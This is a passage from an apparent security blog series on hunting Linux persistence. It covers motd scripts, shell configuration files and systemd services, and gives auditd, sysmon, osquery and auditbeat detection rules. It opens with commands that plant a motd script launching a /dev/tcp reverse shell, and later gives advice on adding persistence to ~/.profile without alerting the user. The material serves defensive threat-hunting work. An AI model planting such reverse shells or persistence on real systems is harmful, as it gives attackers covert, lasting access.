</code></pre></div></div>
<p>Similarly, if doesn’t exist, we can drop our own script.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">></span> /usr/lib/update-notifier/update-motd-updates-available <span class="o"><<</span> <span class="no">EOF</span><span class="sh">
#! /bin/bash
/bin/bash -l > /dev/tcp/127.0.0.1/1337 0<&1 2>&1 &
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /usr/lib/update-notifier/update-motd-updates-available
<span class="nb">cat</span> <span class="o">></span> /etc/update-motd.d/90-updates-available <span class="o"><<</span> <span class="no">EOF</span><span class="sh">
#!/bin/sh
if [ -x /usr/lib/update-notifier/update-motd-updates-available ]; then
exec /usr/lib/update-notifier/update-motd-updates-available
fi
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /etc/update-motd.d/90-updates-available
</code></pre></div></div>
<h4 id="103-detecting-changes-in-etcupdate-motdd">10.3 Detecting changes in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code></h4>
<p>We won’t go dwell on this too much since this is very similar to the <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>
<h5 id="1031-auditd">10.3.1 auditd</h5>
<p>This is not present in our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/update-motd.d/ -p wa -k motd
</code></pre></div></div>
<h5 id="1032-sysmon">10.3.2 sysmon</h5>
<p>This is not implemented in <a href="https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux">microsoft/MSTIC-Sysmon</a></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: motd"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/update-motd.d/<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
</code></pre></div></div>
<h5 id="1033-osquery">10.3.3 osquery</h5>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">md5</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span>
<span class="k">FROM</span> <span class="n">file</span> <span class="k">JOIN</span> <span class="n">hash</span> <span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"/etc/update-motd.d/%"</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span>
</code></pre></div></div>
<h5 id="1034-auditbeat">10.3.4 auditbeat</h5>
<p>Similar to <code class="language-plaintext highlighter-rouge">init.d</code>, the <code class="language-plaintext highlighter-rouge">update-motd.d</code> is not monitored by default by auditbeats. Either set <code class="language-plaintext highlighter-rouge">recursive: true</code> or add <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code></p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
<span class="na">paths</span><span class="pi">:</span>
<span class="s">...</span>
<span class="pi">-</span> <span class="s">/etc/update-motd.d</span>
<span class="c1"># recursive: true</span>
</code></pre></div></div>
<h4 id="104-looking-for-suspicious-processes">10.4 Looking for suspicious processes</h4>
<p>Let’s take time to discuss some notes when looking at running processes.</p>
<p>For example, if we have a reverse shell in one of the services such as <code class="language-plaintext highlighter-rouge">rc.local</code> or any other service, we can get one of two outcomes</p>
<p>After running <code class="language-plaintext highlighter-rouge">ps -auxwf</code> you can see the processes and their parent-child relationship.</p>
<p>One outcome is
<img src="/assets/posts/20220206/1040-process-tree.png" alt="" /></p>
<p>Where <code class="language-plaintext highlighter-rouge">bash -i</code> has parent PID of <code class="language-plaintext highlighter-rouge">/bin/bash /etc/rc.local start</code></p>
<p>Or you can also get just the case where the parent PID is <code class="language-plaintext highlighter-rouge">1</code> which is simply
<img src="/assets/posts/20220206/1041-process.png" alt="" /></p>
<p>A process can have a parent ID of <code class="language-plaintext highlighter-rouge">1</code> when the parent process ends without waiting for the child to finish. For example, if you run a python script in the background you might get something like
<img src="/assets/posts/20220206/1042-sshd-processes.png" alt="" /></p>
<p>But if the <code class="language-plaintext highlighter-rouge">bash</code> terminal of the user ends while <code class="language-plaintext highlighter-rouge">python3 malicious.py</code> runs in the background, then the next you check the process it <code class="language-plaintext highlighter-rouge">python3 malicious.py</code> will have a parent PID of <code class="language-plaintext highlighter-rouge">1</code>. You can list the process
<img src="/assets/posts/20220206/1043-ps-grep.png" alt="" /></p>
<p>Where we see the PPID is <code class="language-plaintext highlighter-rouge">689</code> when previously it was <code class="language-plaintext highlighter-rouge">686</code>, that is because the shell that created the background process has ended.
<img src="/assets/posts/20220206/1044-mal-python.png" alt="" /></p>
<p>Since scripts in <code class="language-plaintext highlighter-rouge">update-motd.d</code> have to end for the SSH shell to start, then any long running processes that from running a malicious script in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code> would have a parent PID of <code class="language-plaintext highlighter-rouge">1</code>. Similarly, as you can see, shell processes resulting from sshd will not have a PPID of <code class="language-plaintext highlighter-rouge">1</code>.</p>
<p>Some when hunting, you can start looking for <code class="language-plaintext highlighter-rouge">bash</code>, <code class="language-plaintext highlighter-rouge">sh</code> and <code class="language-plaintext highlighter-rouge">python</code> processes that you have PID 1 or those you cannot trace back to the <code class="language-plaintext highlighter-rouge">sshd</code>.</p>
<p>Again, in the terminal you can search for this in</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps -auxwf
ps -efj | egrep "python|bash|\bsh\b|PPID"
</code></pre></div></div>
<p>Using osquery you can look for it in</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">pid</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">cmdline</span><span class="p">,</span> <span class="n">parent</span>
<span class="k">FROM</span> <span class="n">processes</span>
<span class="k">WHERE</span>
<span class="n">parent</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">AND</span> <span class="n">regex_match</span><span class="p">(</span><span class="n">cmdline</span><span class="p">,</span> <span class="nv">"python|bash|</span><span class="se">\b</span><span class="nv">sh</span><span class="se">\b</span><span class="nv">"</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="k">IS</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220206/10-osquery-pid-1.png" alt="" /></p>
<h3 id="11-event-triggered-execution-unix-shell-configuration-modification">11 Event Triggered Execution: Unix Shell Configuration Modification</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1546/004/">https://attack.mitre.org/techniques/T1546/004/</a></p>
<h4 id="111-unix-shell-configurations">11.1 Unix Shell Configurations</h4>
<p>Unix Shells have several configuration scripts that are execute when a shell starts or ends.</p>
<p>The relevant files are listed in <a href="https://manpages.debian.org/stretch/bash/bash.1.en.html#FILES">“FILES” section in the bash man page</a></p>
<table>
<thead>
<tr>
<th style="text-align: left">File</th>
<th style="text-align: left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">/etc/profile</td>
<td style="text-align: left">Systemwide files executed at the start of login shells</td>
</tr>
<tr>
<td style="text-align: left">/etc/profile.d/</td>
<td style="text-align: left">All .sh files are executed at the start of login shells</td>
</tr>
<tr>
<td style="text-align: left">/etc/bash.bashrc</td>
<td style="text-align: left">Systemwide files executed at the start of interactive shells</td>
</tr>
<tr>
<td style="text-align: left">/etc/bash.bash_logout</td>
<td style="text-align: left">Systemwide executed as a login shell exits</td>
</tr>
<tr>
<td style="text-align: left">~/.bashrc</td>
<td style="text-align: left">User-specific startup script executed at the start of interactive shells</td>
</tr>
<tr>
<td style="text-align: left">~/.bash_profile, ~/.bash_login, ~/.profile</td>
<td style="text-align: left">User-specific startup script, but only the first file found is executed</td>
</tr>
<tr>
<td style="text-align: left">~/.bash_logout</td>
<td style="text-align: left">User-specific clean up script at the end of the session</td>
</tr>
</tbody>
</table>
<p>Some common uses of these configurations are:</p>
<ul>
<li>Setting up the PATH variable</li>
<li>Assigning aliases for commands Example: <code class="language-plaintext highlighter-rouge">ll='ls -alF'</code></li>
<li>Setting up shell’s UX</li>
<li>Setting up base functions</li>
</ul>
<p>Note: The documentation and man page say that it is <code class="language-plaintext highlighter-rouge">/etc/bash.bash.logout</code> but my testing show that it is actually <code class="language-plaintext highlighter-rouge">/etc/bash.bash_logout</code>. <a href="https://lists.gnu.org/archive/html/bug-bash/2016-08/msg00054.html">See thread</a></p>
<h4 id="112-modifying-shell-configuration">11.2 Modifying shell configuration</h4>
<p>This is pretty straightforward, you can just add addition bash commands in one of the files listed above. However, there are some things you should watch out for. Prioritize adding to <code class="language-plaintext highlighter-rouge">~/.bashrc</code>, <code class="language-plaintext highlighter-rouge">~/.profile</code>, <code class="language-plaintext highlighter-rouge">/etc/profile</code>, or <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code></p>
<p>To debug, let’s run the following and see what is triggered</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># As user </span>
<span class="nb">echo</span> <span class="s2">"echo '~/.bash_logout' >> /tmp/triggered"</span> <span class="o">>></span> ~/.bash_logout
<span class="nb">echo</span> <span class="s2">"echo '~/.bashrc' >> /tmp/triggered"</span> <span class="o">>></span> ~/.bashrc
<span class="nb">echo</span> <span class="s2">"echo '~/.bash_profile' >> /tmp/triggered"</span> <span class="o">>></span> ~/.bash_profile
<span class="nb">echo</span> <span class="s2">"echo '~/.bash_login' >> /tmp/triggered"</span> <span class="o">>></span> ~/.bash_login
<span class="nb">echo</span> <span class="s2">"echo '~/.profile' >> /tmp/triggered"</span> <span class="o">>></span> ~/.profile
<span class="nb">touch</span> /tmp/triggered
<span class="c"># As root</span>
<span class="nb">echo</span> <span class="s2">"echo '/etc/bash.bashrc' >> /tmp/triggered"</span> <span class="o">>></span> /etc/bash.bashrc
<span class="nb">echo</span> <span class="s2">"echo '/etc/bash.bash_logout' >> /tmp/triggered"</span> <span class="o">>></span> /etc/bash.bash_logout
<span class="nb">echo</span> <span class="s2">"echo '/etc/profile' >> /tmp/triggered"</span> <span class="o">>></span> /etc/profile
<span class="nb">echo</span> <span class="s2">"echo '/etc/profile.d/bad.sh' >> /tmp/triggered"</span> <span class="o">></span> /etc/profile.d/bad.sh
</code></pre></div></div>
<p>If you get another terminal and ssh into the machine, <code class="language-plaintext highlighter-rouge">/etc/triggered</code> will have the following</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/bash.bashrc
/etc/profile.d/bad.sh
/etc/profile
~/.bash_profile
#After you end the session
~/.bash_logout
/etc/bash.bash_logout
</code></pre></div></div>
<p>So the question here is: <em>why was <code class="language-plaintext highlighter-rouge">~/.bashrc</code> not triggered?</em></p>
<p><code class="language-plaintext highlighter-rouge">~/.bashrc</code> is triggered directly when an interactive shell is created, for example, running <code class="language-plaintext highlighter-rouge">bash -i</code>. However, by convention, <code class="language-plaintext highlighter-rouge">~/.profile</code> and <code class="language-plaintext highlighter-rouge">/etc/profile</code> sources from <code class="language-plaintext highlighter-rouge">~/.bashrc</code> and <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code> respectively.</p>
<p>In <code class="language-plaintext highlighter-rouge">~/.profile</code> you might see something like</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># if running bash</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$BASH_VERSION</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="c"># include .bashrc if it exists</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.bashrc"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">.</span> <span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.bashrc"</span>
<span class="k">fi
fi</span>
</code></pre></div></div>
<p>And in <code class="language-plaintext highlighter-rouge">/etc/profile</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> /etc/bash.bashrc <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">.</span> /etc/bash.bashrc
<span class="k">fi</span>
</code></pre></div></div>
<p>But because we added <code class="language-plaintext highlighter-rouge">~/.bash_profile</code>, <code class="language-plaintext highlighter-rouge">~/.profile</code> is ignored and as a consequence, <code class="language-plaintext highlighter-rouge">~/.bashrc</code> is never called. So when adding persistence using this, if <code class="language-plaintext highlighter-rouge">~/.profile</code> exists modify it instead of creating <code class="language-plaintext highlighter-rouge">~/.bash_profile</code> or <code class="language-plaintext highlighter-rouge">~/.bash_login</code> since this might break some of the configurations that have been put by the user in <code class="language-plaintext highlighter-rouge">~/.profile</code> or <code class="language-plaintext highlighter-rouge">~/.ssh</code> like <code class="language-plaintext highlighter-rouge">PATH</code> or the terminal colors. This will tip them off that something is wrong the next time they SSH into the VM.</p>
<p>So roll it back, we should use <code class="language-plaintext highlighter-rouge">~/.profile</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">rm</span> ~/.bash_login
<span class="nb">rm</span> ~/.bash_profile
<span class="c"># rm /tmp/triggered </span>
</code></pre></div></div>
<p>Create a new shell again using SSH</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/bash.bashrc
/etc/profile.d/bad.sh
/etc/profile
~/.bashrc
~/.profile
#After you end the session
~/.bash_logout
/etc/bash.bash_logout
</code></pre></div></div>
<h4 id="113-watching-for-modifications-of-shell-configurations">11.3 Watching for modifications of shell configurations</h4>
<h5 id="1131-auditd">11.3.1 auditd</h5>
<p>These are the rules from reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a> that are relevant here. This also includes other configs for other shells.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## Shell/profile configurations
-w /etc/profile.d/ -p wa -k shell_profiles
-w /etc/profile -p wa -k shell_profiles
-w /etc/shells -p wa -k shell_profiles
-w /etc/bashrc -p wa -k shell_profiles
-w /etc/csh.cshrc -p wa -k shell_profiles
-w /etc/csh.login -p wa -k shell_profiles
-w /etc/fish/ -p wa -k shell_profiles
-w /etc/zsh/ -p wa -k shell_profiles
</code></pre></div></div>
<p>I’m not sure for other distros, but there might be a typo here</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># -w /etc/bashrc -p wa -k shell_profiles
-w /etc/bash.bashrc -p wa -k shell_profiles
</code></pre></div></div>
<p>I recommend adding <code class="language-plaintext highlighter-rouge">bash_logout</code> scripts</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/bash.bash_logout -p wa -k shell_profiles
</code></pre></div></div>
<p>Additionally, for known users try to monitor the user specific config</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /root/.profile -p wa -k shell_profiles
-w /root/.bashrc -p wa -k shell_profiles
-w /root/.bash_logout -p wa -k shell_profiles
-w /root/.bash_profile -p wa -k shell_profiles
-w /root/.bash_login -p wa -k shell_profiles
</code></pre></div></div>
<h5 id="1132-sysmon">11.3.2 sysmon</h5>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1546.004,TechniqueName=Event Triggered Execution: Unix Shell Configuration Modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/profile.d/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>/etc/profile<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>/etc/bash.bashrc<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>/etc/bash.bash_logout<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>.bashrc<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>.bash_profile<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>.bash_login<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>.profile<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>.bash_logout<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
</code></pre></div></div>
<p>Unfortunately, this won’t detect the modification of existing files such as <code class="language-plaintext highlighter-rouge">/etc/profile</code>, <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code>, <code class="language-plaintext highlighter-rouge">/root/.bashrc</code>, or <code class="language-plaintext highlighter-rouge">/root/.profile</code>. So until sysmon is able to have a file modification event, prefer to use <code class="language-plaintext highlighter-rouge">auditd</code> or other file integrity monitoring tool.</p>
<h5 id="1133-auditbeat">11.3.3 auditbeat</h5>
<p>By default, auditbeat will be able to monitor <code class="language-plaintext highlighter-rouge">/etc/profile</code>, <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code>, and <code class="language-plaintext highlighter-rouge">/etc/bash.bash_logout</code>. Similar to <code class="language-plaintext highlighter-rouge">init.d</code>, it won’t monitors subdirectories by default so we have to include <code class="language-plaintext highlighter-rouge">/etc/profile.d</code></p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
<span class="na">paths</span><span class="pi">:</span>
<span class="s">...</span>
<span class="pi">-</span> <span class="s">/etc/profile.d</span>
<span class="c1"># - /root/</span>
<span class="c1"># - /home/user/</span>
<span class="c1"># recursive: true</span>
</code></pre></div></div>
<p>It’s not as easy to monitor the user specific configs. We can add their home directories, but depending on your setup, these locations might ahve files that are modified frequeuntly.</p>
<h5 id="1134-osquery">11.3.4 osquery</h5>
<p>Sorry this is a chunky query, but what it does is it looks for system wide shell profiles as well as enumerate possible user configurations based on the home directory of each user in the machine.</p>
<p>This allows you to get snapshots of the shell profiles.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">WITH</span> <span class="n">system_wide</span> <span class="k">AS</span> <span class="p">(</span>
<span class="k">SELECT</span> <span class="k">NULL</span> <span class="k">AS</span> <span class="n">username</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span>
<span class="k">FROM</span> <span class="n">file</span>
<span class="k">WHERE</span>
<span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"/etc/profile.d/%"</span>
<span class="k">OR</span> <span class="n">path</span> <span class="k">IN</span> <span class="p">(</span>
<span class="s1">'/etc/profile'</span><span class="p">,</span>
<span class="s1">'/etc/bash.bashrc'</span><span class="p">,</span>
<span class="s1">'/etc/bash.bash_logout'</span>
<span class="p">)</span>
<span class="p">),</span> <span class="n">user_specific_files</span> <span class="k">AS</span> <span class="p">(</span>
<span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span> <span class="n">concat</span><span class="p">(</span><span class="n">users</span><span class="p">.</span><span class="n">directory</span><span class="p">,</span> <span class="n">column1</span><span class="p">)</span><span class="k">AS</span> <span class="n">path</span>
<span class="k">FROM</span> <span class="n">users</span>
<span class="k">CROSS</span> <span class="k">JOIN</span> <span class="p">(</span><span class="k">VALUES</span><span class="p">(</span><span class="s1">'/.bashrc'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.profile'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.bash_profile'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.bash_login'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.bash_logout'</span><span class="p">))</span>
<span class="p">),</span> <span class="n">user_specific</span> <span class="k">AS</span> <span class="p">(</span>
<span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span>
<span class="k">FROM</span> <span class="n">user_specific_files</span>
<span class="k">JOIN</span> <span class="n">file</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="p">)</span>
<span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="p">(</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">system_wide</span>
<span class="k">UNION</span> <span class="k">ALL</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_specific</span>
<span class="p">)</span>
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220206/1134-osquery-shell-profile.png" alt="" /></p>
<h3 id="whats-next">What’s next</h3>
<p>So we’ve discussed some of the scripts that are executed when a system boots or a user logs on the VM. In the next blog post, we’ll discuss <code class="language-plaintext highlighter-rouge">systemd-generators</code> which is another boot and logon initialization script.</p>
<hr />
<p><a href="https://www.pexels.com/photo/composition-of-different-conchs-on-beige-table-4226881/">Photo by Karolina Grabowska from Pexels</a></p>Pepe BerbaIntroductionHunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron2022-01-30T00:00:00+00:002022-01-30T00:00:00+00:00https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron<h3 id="introduction">Introduction</h3>
<p>In this blogpost, we’ll discuss how attackers can create services and scheduled tasks for persistence by going through the following techniques:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1543/002/">Create or Modify System Process: Systemd Service
</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/006/">Scheduled Task/Job: Systemd Timers</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/003/">Scheduled Task/Job: Cron</a></li>
</ul>
<p>We will give some example commands on how to implement these persistence techinques and how to create alerts using open-source solutions such as auditd, osquery, sysmon and auditbeats.</p>
<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>
<p>Here is a diagram of the things we will cover in this blog post:
<img src="/assets/posts/20220130/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>
<p>Linux Persistence Series:</p>
<ul>
<li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
<ul>
<li>1 - Server Software Component: Web Shell</li>
</ul>
</li>
<li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
<ul>
<li>2 - Create Account: Local Account</li>
<li>3 - Valid Accounts: Local Accounts</li>
<li>4 - Account Manipulation: SSH Authorized Keys</li>
</ul>
</li>
<li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
<ul>
<li>5 - Create or Modify System Process: Systemd Service</li>
<li>6 - Scheduled Task/Job: Systemd Timers</li>
<li>7 - Scheduled Task/Job: Cron</li>
</ul>
</li>
<li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
<ul>
<li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
<li>9 - Boot or Logon Initialization Scripts: init.d</li>
<li>10 - Boot or Logon Initialization Scripts: motd</li>
<li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
</ul>
</li>
<li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
<ul>
<li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
</ul>
</li>
<li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
<ul>
<li>Modify Authentication Process: Pluggable Authentication Modules</li>
<li>Compromise Client Software Binary</li>
<li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
<li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
</ul>
</li>
</ul>
<h3 id="5-create-or-modify-system-process-systemd-service">5 Create or Modify System Process: Systemd Service</h3>
<h4 id="51-introduction-systemd-services">5.1 Introduction Systemd Services</h4>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1543/002/">https://attack.mitre.org/techniques/T1543/002/</a></p>
<p>Systemd services are commonly used to manage background daemon processes. This is how a lot of critical processes of the Linux OS start on boot time. In a Debian 10, here are some example services you might be familiar with:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/systemd/system/sshd.service</code>: Secure Shell Service</li>
<li><code class="language-plaintext highlighter-rouge">/lib/systemd/system/systemd-logind.service</code>: Login Service</li>
<li><code class="language-plaintext highlighter-rouge">/lib/systemd/system/rsyslog.service</code>: System Logging Service</li>
<li><code class="language-plaintext highlighter-rouge">/lib/systemd/system/cron.service</code>: Regular background program processing daemon</li>
</ul>
<p>Because of these service files, processes such as <code class="language-plaintext highlighter-rouge">sshd</code>, <code class="language-plaintext highlighter-rouge">rsyslogd</code>
and <code class="language-plaintext highlighter-rouge">cron</code> will start running as soon as the machine is turned on.</p>
<p>Adversaries may utilize systemd to install their own malicious services so that even after a reboot, their backdoor service or beacon will also restart. To install a new service, a <code class="language-plaintext highlighter-rouge">*.service</code> unit file is created in <code class="language-plaintext highlighter-rouge">/etc/systemd/system/</code> or <code class="language-plaintext highlighter-rouge">/lib/systemd/system/</code>.</p>
<p>Let us look at <code class="language-plaintext highlighter-rouge">rsyslog.service</code> to get a real example configuration</p>
<pre class="highlight"><code>[Unit]
Description=System Logging Service
Requires=syslog.socket
Documentation=man:rsyslogd(8)
Documentation=https://www.rsyslog.com/doc/
[Service]
Type=notify
<u><b>ExecStart=/usr/sbin/rsyslogd -n -iNONE</b></u>
StandardOutput=null
Restart=on-failure
# Increase the default a bit in order to allow many simultaneous
# files to be monitored, we might need a lot of fds.
LimitNOFILE=16384
[Install]
<u><b>WantedBy=multi-user.target</b></u>
Alias=syslog.service
</code></pre>
<p>There are two lines we want to focus on:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">ExecStart</code>: This is the command that is run when the service starts</li>
<li><code class="language-plaintext highlighter-rouge">WantedBy</code>: Having a value of <code class="language-plaintext highlighter-rouge">multi-user.target</code> means that the service should start on boot time.</li>
</ul>
<p>Some resources to get you started in this:</p>
<ul>
<li><a href="https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/">https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/</a></li>
<li><a href="https://wiki.debian.org/systemd/Services">https://wiki.debian.org/systemd/Services</a></li>
<li><a href="https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units">https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units</a></li>
<li><a href="https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html">https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html</a></li>
<li><a href="https://www.freedesktop.org/software/systemd/man/systemd.unit.html">https://www.freedesktop.org/software/systemd/man/systemd.unit.html</a></li>
<li><a href="https://www.unixsysadmin.com/systemd-user-services/">https://www.unixsysadmin.com/systemd-user-services/</a></li>
</ul>
